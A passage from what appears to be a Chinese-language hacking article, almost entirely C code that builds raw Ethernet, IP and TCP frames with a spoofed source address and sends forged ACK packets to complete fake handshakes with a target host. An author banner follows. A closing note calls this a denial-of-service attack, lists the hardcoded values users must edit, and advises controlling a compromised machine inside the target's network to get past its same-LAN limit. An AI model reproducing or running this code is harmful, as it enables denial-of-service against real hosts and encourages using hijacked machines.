ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP);
ip_header.m_dIP=inet_addr(TARGET_IP);
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
tcp_header.m_dport=lpTcphdr->m_sport;
tcp_header.m_sport=lpTcphdr->m_dport;
tcp_header.m_seq=lpTcphdr->m_ack; //序列号为接收到包的ack号
if(lpTcphdr->m_res2_flag==0x12) //若收到的包是SYN+ACK包, 则ACK号为接收到包的序列号加1
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);
else //若收到的包不是SYN+ACK包, 则ACK号为接收到包的序列号加上包的数据部分长度
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);
tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);
tcp_header.m_res2_flag=0x10; //设置为ACK包
tcp_header.m_win=lpTcphdr->m_win;
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
//发送伪造的ACK包:
LPPACKET lpSendPacket;
lpSendPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数
{
printf("Warning: Unable to send more than one packet in a single write!\n");
return;
}
if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return;
}
PacketFreePacket(lpSendPacket); //释放PACKET结构指针
}
}
}
return;
}
void Info()
{
printf("********************************\n");
printf("* Made by ffantasyYD *\n");
printf("* QQ:76889713 *\n");
printf("* Email:ffantasyYD@163.com *\n");
printf("* http://ffantasyyd.126.com *\n");
printf("********************************\n");
}
注:由于以上代码是我测试用的, 因此显得不太便于使用, 很多信息都是我自己去获取后直接写进程序里的, 比如目标主机的MAC地址等, 这些都需要测试者自己修改。 另外, 这种D.o.S存在着一个局限性, 那就是目标主机必须跟我们的主机处于同一个二层网络内。 但是, 我们可以利用一些方法来克服这种局限性, 比如, 我们可以在目标主机的网络内找一台肉鸡, 这样, 我们就只需要控制那台肉鸡进行攻击就行了。
……